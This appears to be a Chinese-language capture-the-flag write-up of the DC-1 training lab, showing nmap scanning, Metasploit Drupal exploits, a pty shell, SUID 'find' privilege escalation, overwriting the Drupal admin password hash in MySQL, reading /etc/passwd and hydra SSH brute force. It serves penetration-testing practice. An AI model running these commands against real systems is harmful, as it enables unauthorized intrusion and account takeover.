北京中小企业网站建设了解深圳网站定制开发
描述
DC-1 是专门为获得渗透测试经验而建造的易受攻击实验室。
 它旨在成为初学者的挑战,但其难易程度取决于您的技能和知识以及学习能力。
 要成功完成此挑战,您需要具备 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如 Kali Linux 或 Parrot Security OS 上的工具。
 获得 root 权限的方法有很多种,但我提供了一些包含初学者线索的标志。
 总共有五个标志,但最终目标是在 root 的主目录中找到并读取该标志。您甚至不需要成为 root 即可执行此操作,但是您需要 root 权限。
 根据您的技能水平,您可能可以跳过查找大多数这些标志的过程,直接获得 root 权限。
 初学者可能会遇到以前从未遇到过的挑战,但只需进行 Google 搜索即可获得完成此挑战所需的信息。
实验
先扫描
 arp-scan -l
 nmap -p- -A 192.168.110.131
 
 访问 web 服务
 
 Drupal 是一个开源的内容管理系统(CMS),用于构建和管理网站及应用程序。它基于 PHP 编写,具有高度灵活性和可扩展性,适用于从个人博客到企业级网站的各种项目。
 指纹识别一下(用的 Wappalyzer 浏览器插件,也可以用 kali 的 whatweb 工具)
 
 拿到 CMS Drupal 版本为 7,找漏打一下
 msfconsole
 search Drupal
 
 试一下前两个
 use exploit/unix/webapp/drupal_coder_exec
 show options
 
 set RHOST 192.168.110.131
 run
 
 试一下第二个 exp,重复上面操作
 
 获得了一个非交互式 shell
 
 python -c 'import pty;pty.spawn("/bin/bash")'获得了交互式 shell
 找到去 flag1.txt
www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.
 
搜一下 Drupal 配置文件
 
 全局查找 settings.php
 find / -name settings.php
 
 找到 flag2.txt
 说爆破不是唯一获得许可的方式,结合下面的数据库账号密码,这里直接登录然后查找信息
 这里因为我已经获得 shell 了,所以直接提权
 尝试 suid 提权
 find / -perm -4000 2>/dev/null  查找特权文件
 
 结果 find 设置了 SUID 位,结合 find 的 -exec 参数,对其每个目录知执行 /bin/sh 获取到 root 权限。(/bin/bash 无效果)
 
 提权成功
 
 当然,其实中间还有一些其他 flag,下面补充一下
 mysql -udbuser -p
show databases;
use drupaldb;
show tables;
show columns from users;
 

 查出了经过某种算法加密后的账号密码
 因为我们这里有数据库权限,所以能够修改密码,但需要知道对应的加密方法,因为处理端会解码。
 全局搜索一下 hash passwd 等字眼
 
 尝试利用这个加密脚本,对我们自己设的密码进行加密,我用 520
 看看用法
 
 /var/www/scripts/password-hash.sh

 password: 520 hash: $S$DpIlEvnFz0QBFn51ZjGfwMVam98wY6riZSKNo4LIHX8LMjo/WXPC
再次登录数据库修改密码
 update users set pass='$S$DpIlEvnFz0QBFn51ZjGfwMVam98wY6riZSKNo4LIHX8LMjo/WXPC' where name='admin';
 可以看到密码成功修改,由于这是 drupal 的数据库用户信息,所以在 web 服务里直接登录
 
 成功登录,并仪表盘(dashboard) 位置找到 flag3

 
 这里大意就是要找 passwd,与 shadow 有关,且涉及权限。
 那么就在 /etc/passwd 和 /etc/shadow 里找一下密码
 cat /etc/passwd
 
 这里就看到了 flag4 用户,而密码保密在 /etc/shadow 下,普通用户无法查看
 先尝试 kali hydra 爆破该用户 ssh 登录密码
 hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.110.131 
 
 以 flag4:orange ssh 连接登录
 
 整个过程到此就结束了,flag4 最后提示以相同的方法获得 root 权限会比较困难,所以采用了 suid find 提权。
总结
- 扫描目标,获取 ip 和 服务信息。
 - 登录 web 服务,指纹识别出 web 框架 Drupal 7
 - msf 查找漏洞并利用,获取 shell
 - suid find 提取获得 root
 
其他
- 查找配置文件获取数据库账号密码
 - 登录,查看用户账号密码
 - 查找密码加密文件,加密 520,修改 admin 密码,web登录
 - 查找 Linux 上用户密码信息,找到 flag4用户
 - hydra 爆破 ssh 密码,连接成功
 
